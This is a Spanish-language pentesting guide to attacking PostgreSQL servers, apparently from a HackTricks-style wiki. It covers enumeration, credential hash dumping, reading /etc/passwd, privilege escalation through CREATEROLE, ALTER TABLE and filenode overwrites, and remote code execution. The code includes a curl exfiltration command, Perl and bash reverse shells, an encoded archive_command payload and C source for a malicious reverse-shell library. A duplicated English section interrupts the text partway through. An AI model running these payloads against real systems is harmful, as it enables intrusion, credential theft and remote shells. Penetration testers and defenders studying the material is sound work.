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5432,5433 - Pentesting Postgresql

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Información Básica

PostgreSQL se describe como un sistema de base de datos objeto-relacional que es de código abierto. Este sistema no solo utiliza el lenguaje SQL, sino que también lo mejora con características adicionales. Sus capacidades le permiten manejar una amplia gama de tipos de datos y operaciones, lo que lo convierte en una elección versátil para desarrolladores y organizaciones.

Puerto predeterminado: 5432, y si este puerto ya está en uso, parece que PostgreSQL utilizará el siguiente puerto disponible (probablemente 5433).

PORT     STATE SERVICE
5432/tcp open  pgsql

Conexión y Enumeración Básica

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection

psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
SELECT user;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s

{% hint style="warning" %} Si al ejecutar \list encuentras una base de datos llamada rdsadmin sabrás que estás dentro de una base de datos de PostgreSQL de AWS. {% endhint %}

Para obtener más información sobre cómo abusar de una base de datos PostgreSQL consulta:

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %} postgresql-injection {% endcontent-ref %}

Enumeración Automática

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

Fuerza bruta

Escaneo de puertos

Según esta investigación, cuando un intento de conexión falla, dblink arroja una excepción sqlclient_unable_to_establish_sqlconnection que incluye una explicación del error. A continuación se muestran ejemplos de estos detalles.

SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');

• El host está inactivo

DETALLE: no se pudo conectar al servidor: No hay ruta al host ¿Está el servidor ejecutándose en el host "1.2.3.4" y aceptando conexiones TCP/IP en el puerto 5678?

• El puerto está cerrado

DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

• El puerto está abierto

DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request

## PostgreSQL

### Enumeration

#### Version Detection

To detect the version of PostgreSQL running on a target system, you can use the following methods:

- **Banner Grabbing**: Connect to the PostgreSQL service using tools like `telnet` or `nc` to grab the banner.
- **Nmap**: Use Nmap scripts to detect PostgreSQL version.

#### Default Ports

PostgreSQL commonly runs on port 5432. However, it's essential to verify the port using tools like Nmap.

### Exploitation

#### Default Credentials

Always check for default credentials such as `postgres:postgres` or weak credentials during a penetration test.

#### Metasploit Modules

Metasploit provides modules for PostgreSQL exploitation, such as `postgresql_login` for brute-forcing credentials.

### Post-Exploitation

#### Dumping Data

Use tools like `pg_dump` to dump data from the PostgreSQL database post-exploitation.

#### Privilege Escalation

Look for opportunities to escalate privileges within the PostgreSQL database or the underlying operating system.

## PostgreSQL

### Enumeración

#### Detección de la versión

Para detectar la versión de PostgreSQL que se ejecuta en un sistema objetivo, puedes utilizar los siguientes métodos:

- **Captura de banner**: Conéctate al servicio de PostgreSQL utilizando herramientas como `telnet` o `nc` para capturar el banner.
- **Nmap**: Utiliza scripts de Nmap para detectar la versión de PostgreSQL.

#### Puertos predeterminados

PostgreSQL comúnmente se ejecuta en el puerto 5432. Sin embargo, es esencial verificar el puerto utilizando herramientas como Nmap.

### Explotación

#### Credenciales predeterminadas

Siempre verifica las credenciales predeterminadas como `postgres:postgres` o credenciales débiles durante una prueba de penetración.

#### Módulos de Metasploit

Metasploit proporciona módulos para la explotación de PostgreSQL, como `postgresql_login` para fuerza bruta de credenciales.

### Post-Explotación

#### Volcado de datos

Utiliza herramientas como `pg_dump` para volcar datos de la base de datos de PostgreSQL después de la explotación.

#### Escalada de privilegios

Busca oportunidades para escalar privilegios dentro de la base de datos de PostgreSQL o en el sistema operativo subyacente.

DETAIL:  FATAL:  password authentication failed for user "name"

• El puerto está abierto o filtrado

DETAIL:  could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

En las funciones PL/pgSQL, actualmente no es posible obtener detalles de excepciones. Sin embargo, si tienes acceso directo al servidor PostgreSQL, puedes recuperar la información necesaria. Si extraer nombres de usuario y contraseñas de las tablas del sistema no es factible, puedes considerar utilizar el método de ataque de lista de palabras discutido en la sección anterior, ya que podría dar resultados positivos.

Enumeración de Privilegios

Roles

Tipos de Roles
rolsuper	El rol tiene privilegios de superusuario
rolinherit	El rol hereda automáticamente los privilegios de los roles de los que es miembro
rolcreaterole	El rol puede crear más roles
rolcreatedb	El rol puede crear bases de datos
rolcanlogin	El rol puede iniciar sesión. Es decir, este rol puede ser dado como identificador de autorización de sesión inicial.
rolreplication	El rol es un rol de replicación. Un rol de replicación puede iniciar conexiones de replicación y crear y eliminar espacios de replicación.
rolconnlimit	Para roles que pueden iniciar sesión, establece el número máximo de conexiones simultáneas que este rol puede realizar. -1 significa sin límite.
rolpassword	No es la contraseña (siempre se muestra como ********)
rolvaliduntil	Hora de caducidad de la contraseña (solo se usa para autenticación de contraseña); nulo si no hay vencimiento
rolbypassrls	El rol omite todas las políticas de seguridad a nivel de fila, consulta Sección 5.8 para más información.
rolconfig	Valores predeterminados específicos del rol para variables de configuración en tiempo de ejecución
oid	ID del rol

Grupos Interesantes

• Si eres miembro de pg_execute_server_program puedes ejecutar programas
• Si eres miembro de pg_read_server_files puedes leer archivos
• Si eres miembro de pg_write_server_files puedes escribir archivos

{% hint style="info" %} Ten en cuenta que en Postgres un usuario, un grupo y un rol son lo mismo. Solo depende de cómo lo uses y si lo permites iniciar sesión. {% endhint %}

# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

Tablas

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

Funciones

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

Acciones del sistema de archivos

Leer directorios y archivos

Desde este commit los miembros del grupo definido DEFAULT_ROLE_READ_SERVER_FILES (llamado pg_read_server_files) y los super usuarios pueden utilizar el método COPY en cualquier ruta (ver convert_and_check_filename en genfile.c):

# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;

{% hint style="warning" %} Recuerda que si no eres un superusuario pero tienes permisos CREATEROLE puedes hacerte miembro de ese grupo:

GRANT pg_read_server_files TO username;

Más información. {% endhint %}

Hay otras funciones de postgres que se pueden utilizar para leer archivos o listar un directorio. Solo los superusuarios y los usuarios con permisos explícitos pueden usarlas:

# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

Puedes encontrar más funciones en https://www.postgresql.org/docs/current/functions-admin.html

Escritura de Archivos Simple

Solo los super usuarios y los miembros de pg_write_server_files pueden usar copy para escribir archivos.

{% code overflow="wrap" %}

copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

{% endcode %}

{% hint style="warning" %} Recuerda que si no eres un superusuario pero tienes los permisos CREATEROLE puedes hacerte miembro de ese grupo:

GRANT pg_write_server_files TO username;

Más información. {% endhint %}

Recuerda que COPY no puede manejar caracteres de nueva línea, por lo tanto, incluso si estás usando una carga útil en base64 necesitas enviar un comando en una sola línea.
Una limitación muy importante de esta técnica es que copy no se puede utilizar para escribir archivos binarios ya que modifica algunos valores binarios.

Carga de archivos binarios

Sin embargo, existen otras técnicas para cargar archivos binarios grandes:

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %} big-binary-files-upload-postgresql.md {% endcontent-ref %}

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Actualización de datos de tabla de PostgreSQL mediante escritura de archivo local

Si tienes los permisos necesarios para leer y escribir archivos del servidor PostgreSQL, puedes actualizar cualquier tabla en el servidor sobrescribiendo el nodo de archivo asociado en el directorio de datos de PostgreSQL. Más sobre esta técnica aquí.

Pasos requeridos:

1. Obtener el directorio de datos de PostgreSQL

SELECT setting FROM pg_settings WHERE name = 'data_directory';

Nota: Si no puedes recuperar la ruta actual del directorio de datos desde la configuración, puedes consultar la versión principal de PostgreSQL a través de la consulta SELECT version() e intentar adivinar la ruta. Las rutas comunes de directorio de datos en instalaciones de PostgreSQL en Unix son /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/. Un nombre de clúster común es main.

2. Obtener una ruta relativa al nodo de archivo, asociado con la tabla objetivo

SELECT pg_relation_filepath('{NOMBRE_DE_LA_TABLA}')

Esta consulta debería devolver algo como base/3/1337. La ruta completa en disco será $DATA_DIRECTORY/base/3/1337, es decir, /var/lib/postgresql/13/main/base/3/1337.

3. Descargar el nodo de archivo a través de las funciones lo_*

SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)

4. Obtener el tipo de datos, asociado con la tabla objetivo

SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{NOMBRE_DE_LA_TABLA}';

5. Utiliza el Editor de Nodo de Archivo de PostgreSQL para editar el nodo de archivo; establece todos los indicadores booleanos rol* en 1 para permisos completos.

python3 postgresql_filenode_editor.py -f {NODO_DE_ARCHIVO} --datatype-csv {DATATYPE_CSV_DE_PASO_4} -m update -p 0 -i ITEM_ID --csv-data {DATOS_CSV}

7. Vuelve a cargar el nodo de archivo editado a través de las funciones lo_*, y sobrescribe el archivo original en el disco

SELECT lo_from_bytea(13338,decode('{NODO_DE_ARCHIVO_EDITADO_ENCODED_BASE64}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')

8. (Opcional) Limpia la caché de la tabla en memoria ejecutando una consulta SQL costosa

SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)

9. Ahora deberías ver los valores de la tabla actualizados en PostgreSQL.

También puedes convertirte en un superadministrador editando la tabla pg_authid. Consulta la siguiente sección.

RCE

RCE a programa

Desde la versión 9.3, solo los superusuarios y los miembros del grupo pg_execute_server_program pueden usar copy para RCE (ejemplo con exfiltración:

'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

Ejemplo para ejecutar:

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

{% hint style="warning" %} Recuerda que si no eres un superusuario pero tienes los permisos CREATEROLE, puedes hacerte miembro de ese grupo:

GRANT pg_execute_server_program TO username;

RCE con Lenguajes de PostgreSQL

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %} rce-with-postgresql-languages.md {% endcontent-ref %}

RCE con extensiones de PostgreSQL

Una vez que hayas aprendido del post anterior cómo cargar archivos binarios, podrías intentar obtener RCE cargando una extensión de PostgreSQL y cargándola.

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %} rce-with-postgresql-extensions.md {% endcontent-ref %}

RCE con archivo de configuración de PostgreSQL

{% hint style="info" %} Los siguientes vectores de RCE son especialmente útiles en contextos de SQLi restringidos, ya que todos los pasos se pueden realizar a través de declaraciones SELECT anidadas. {% endhint %}

El archivo de configuración de PostgreSQL es editable por el usuario postgres, que es el que ejecuta la base de datos, por lo que como superusuario, puedes escribir archivos en el sistema de archivos, y por lo tanto puedes sobrescribir este archivo.

RCE con ssl_passphrase_command

Más información sobre esta técnica aquí.

El archivo de configuración tiene algunos atributos interesantes que pueden llevar a RCE:

• ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' Ruta de la clave privada de la base de datos
• ssl_passphrase_command = '' Si el archivo privado está protegido por contraseña (encriptado), PostgreSQL ejecutará el comando indicado en este atributo.
• ssl_passphrase_command_supports_reload = off Si este atributo está activado, el comando se ejecutará si la clave está protegida por contraseña cuando se ejecute pg_reload_conf().

Entonces, un atacante necesitará:

1. Extraer la clave privada del servidor
2. Encriptar la clave privada descargada:
   • rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
3. Sobrescribir
4. Extraer la configuración actual de PostgreSQL
5. Sobrescribir la configuración con la configuración de atributos mencionada:
   • ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
   • ssl_passphrase_command_supports_reload = on
6. Ejecutar pg_reload_conf()

Al probar esto, noté que solo funcionará si el archivo de clave privada tiene privilegios 640, es propiedad de root y del grupo ssl-cert o postgres (para que el usuario postgres pueda leerlo), y se encuentra en /var/lib/postgresql/12/main.

RCE con archive_command

Más información sobre esta configuración y sobre WAL aquí.

Otro atributo en el archivo de configuración que es explotable es archive_command.

Para que esto funcione, la configuración archive_mode debe ser 'on' o 'always'. Si es así, podríamos sobrescribir el comando en archive_command y forzar su ejecución a través de las operaciones de WAL (write-ahead logging).

Los pasos generales son:

1. Verificar si el modo de archivo está habilitado: SELECT current_setting('archive_mode')
2. Sobrescribir archive_command con el payload. Por ejemplo, un shell inverso: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
3. Recargar la configuración: SELECT pg_reload_conf()
4. Forzar la operación de WAL para que se ejecute, lo que llamará al comando de archivo de archivo: SELECT pg_switch_wal() o SELECT pg_switch_xlog() para algunas versiones de Postgres

RCE con bibliotecas de precarga

Más información sobre esta técnica aquí.

Este vector de ataque aprovecha las siguientes variables de configuración:

• session_preload_libraries -- bibliotecas que se cargarán en el servidor PostgreSQL en la conexión del cliente.
• dynamic_library_path -- lista de directorios donde el servidor PostgreSQL buscará las bibliotecas.

Podemos establecer el valor de dynamic_library_path en un directorio, escribible por el usuario postgres que ejecuta la base de datos, por ejemplo, el directorio /tmp/, y cargar un objeto malicioso .so allí. Luego, forzaremos al servidor PostgreSQL a cargar nuestra nueva biblioteca cargada incluyéndola en la variable session_preload_libraries.

Los pasos del ataque son:

1. Descargar el postgresql.conf original
2. Incluir el directorio /tmp/ en el valor de dynamic_library_path, por ejemplo, dynamic_library_path = '/tmp:$libdir'
3. Incluir el nombre de la biblioteca maliciosa en el valor de session_preload_libraries, por ejemplo, session_preload_libraries = 'payload.so'
4. Verificar la versión principal de PostgreSQL a través de la consulta SELECT version()
5. Compilar el código de la biblioteca maliciosa con el paquete de desarrollo correcto de PostgreSQL Código de ejemplo:

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _init() {
/*
código tomado de https://www.revshells.com/
*/

int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}

Compilar el código:

gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c

6. Cargar el postgresql.conf malicioso, creado en los pasos 2-3, y sobrescribir el original
7. Cargar el payload.so del paso 5 en el directorio /tmp
8. Recargar la configuración del servidor reiniciando el servidor o invocando la consulta SELECT pg_reload_conf()
9. En la próxima conexión a la base de datos, recibirás la conexión de shell inverso.

Elevación de privilegios en Postgres

Elevación de privilegios CREATEROLE

Concesión

Según la documentación: Los roles que tienen el privilegio CREATEROLE pueden conceder o revocar membresía en cualquier rol que no sea un superusuario.

Por lo tanto, si tienes el permiso CREATEROLE podrías otorgarte acceso a otros roles (que no sean superusuario) que te permitan leer y escribir archivos y ejecutar comandos:

# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

Modificar Contraseña

Los usuarios con este rol también pueden cambiar las contraseñas de otros no superusuarios:

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

Escalando a SUPERUSER

Es bastante común encontrar que los usuarios locales pueden iniciar sesión en PostgreSQL sin proporcionar ninguna contraseña. Por lo tanto, una vez que hayas obtenido permisos para ejecutar código, puedes abusar de estos permisos para obtener el rol de SUPERUSER:

COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

{% hint style="info" %} Esto suele ser posible debido a las siguientes líneas en el archivo pg_hba.conf:

# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust

{% endhint %}

ALTER TABLE privesc

En este informe se explica cómo fue posible realizar una escalada de privilegios en Postgres GCP abusando del privilegio ALTER TABLE que se otorgó al usuario.

Cuando intentas hacer que otro usuario sea propietario de una tabla, deberías recibir un error que lo impida, pero aparentemente GCP dio esa opción al usuario postgres que no es superusuario en GCP:

Al unir esta idea con el hecho de que cuando se ejecutan los comandos INSERT/UPDATE/ANALYZE en una tabla con una función de índice, la función se llama como parte del comando con los permisos del propietario de la tabla. Es posible crear un índice con una función y dar permisos de propietario a un superusuario sobre esa tabla, y luego ejecutar ANALYZE sobre la tabla con la función maliciosa que podrá ejecutar comandos porque está utilizando los privilegios del propietario.

GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);

Explotación

1. Comienza creando una nueva tabla.
2. Inserta contenido irrelevante en la tabla para proporcionar datos para la función de índice.
3. Desarrolla una función de índice maliciosa que contenga una carga útil de ejecución de código, permitiendo la ejecución de comandos no autorizados.
4. ALTERA el propietario de la tabla a "cloudsqladmin," que es el rol de superusuario de GCP utilizado exclusivamente por Cloud SQL para gestionar y mantener la base de datos.
5. Realiza una operación ANALYZE en la tabla. Esta acción obliga al motor de PostgreSQL a cambiar al contexto de usuario del propietario de la tabla, "cloudsqladmin." En consecuencia, la función de índice maliciosa se llama con los permisos de "cloudsqladmin," lo que permite la ejecución del comando de shell previamente no autorizado.

CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);

INSERT INTO temp_table VALUES ('dummy content');

/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

ALTER TABLE temp_table OWNER TO cloudsqladmin;

/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

ANALYZE public.temp_table;

Entonces, la tabla shell_commands_results contendrá la salida del código ejecutado:

uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

Inicio de sesión local

Algunas instancias de PostgreSQL mal configuradas podrían permitir el inicio de sesión de cualquier usuario local, es posible iniciar sesión localmente desde 127.0.0.1 utilizando la función dblink:

\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

{% hint style="warning" %} Ten en cuenta que para que la consulta anterior funcione la función dblink necesita existir. Si no existe, puedes intentar crearla con

CREATE EXTENSION dblink;

{% endhint %}

Si tienes la contraseña de un usuario con más privilegios, pero al usuario no se le permite iniciar sesión desde una IP externa, puedes usar la siguiente función para ejecutar consultas como ese usuario:

SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

Es posible verificar si esta función existe con:

SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

Función definida personalizada con SECURITY DEFINER

En este informe, los pentesters pudieron escalar privilegios dentro de una instancia de postgres proporcionada por IBM, porque encontraron esta función con la bandera SECURITY DEFINER:

CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…

Como se explica en la documentación, una función con SECURITY DEFINER se ejecuta con los privilegios del usuario que la posee. Por lo tanto, si la función es vulnerable a la Inyección SQL o realiza algunas acciones privilegiadas con parámetros controlados por el atacante, podría ser abusada para escalar privilegios dentro de postgres.

En la línea 4 del código anterior se puede ver que la función tiene la bandera SECURITY DEFINER.

CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);

Y luego ejecutar comandos:

Realizar Fuerza Bruta con PL/pgSQL

PL/pgSQL es un lenguaje de programación completo que ofrece un mayor control procedural en comparación con SQL. Permite el uso de bucles y otras estructuras de control para mejorar la lógica del programa. Además, las sentencias SQL y los disparadores tienen la capacidad de invocar funciones que se crean utilizando el lenguaje PL/pgSQL. Esta integración permite un enfoque más completo y versátil para la programación y automatización de bases de datos.
Puedes abusar de este lenguaje para pedirle a PostgreSQL que realice fuerza bruta en las credenciales de los usuarios.

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %} pl-pgsql-password-bruteforce.md {% endcontent-ref %}

Escalada de Privilegios Sobrescribiendo Tablas Internas de PostgreSQL

{% hint style="info" %} El siguiente vector de escalada de privilegios es especialmente útil en contextos de SQLi restringidos, ya que todos los pasos se pueden realizar a través de declaraciones SELECT anidadas. {% endhint %}

Si puedes leer y escribir archivos del servidor PostgreSQL, puedes convertirte en un superusuario sobrescribiendo el filenode en disco asociado con la tabla interna pg_authid de PostgreSQL.

Lee más sobre esta técnica aquí.

Los pasos del ataque son:

1. Obtener el directorio de datos de PostgreSQL
2. Obtener una ruta relativa al filenode, asociado con la tabla pg_authid
3. Descargar el filenode a través de las funciones lo_*
4. Obtener el tipo de datos asociado con la tabla pg_authid
5. Utilizar el Editor de Filenode de PostgreSQL para editar el filenode; establecer todos los indicadores booleanos rol* en 1 para permisos completos.
6. Volver a cargar el filenode editado a través de las funciones lo_* y sobrescribir el archivo original en el disco
7. (Opcional) Limpiar la caché de la tabla en memoria ejecutando una consulta SQL costosa
8. Ahora deberías tener los privilegios de un superadministrador completo.

POST

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

registro

Dentro del archivo postgresql.conf puedes habilitar los registros de postgresql cambiando:

log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

Luego, reinicia el servicio.

pgadmin

pgadmin es una plataforma de administración y desarrollo para PostgreSQL.
Puedes encontrar contraseñas dentro del archivo pgadmin4.db.
Puedes descifrarlas utilizando la función decrypt dentro del script: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py

sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

pg_hba

La autenticación del cliente en PostgreSQL se gestiona a través de un archivo de configuración llamado pg_hba.conf. Este archivo contiene una serie de registros, cada uno especificando un tipo de conexión, rango de direcciones IP del cliente (si corresponde), nombre de la base de datos, nombre de usuario y el método de autenticación a utilizar para las conexiones coincidentes. El primer registro que coincida con el tipo de conexión, la dirección del cliente, la base de datos solicitada y el nombre de usuario se utiliza para la autenticación. No hay un respaldo o alternativa si la autenticación falla. Si ningún registro coincide, se deniega el acceso.

Los métodos de autenticación basados en contraseña disponibles en pg_hba.conf son md5, crypt y password. Estos métodos difieren en cómo se transmite la contraseña: en formato MD5-hashed, cifrada con crypt o en texto claro. Es importante tener en cuenta que el método crypt no se puede utilizar con contraseñas que hayan sido cifradas en pg_authid.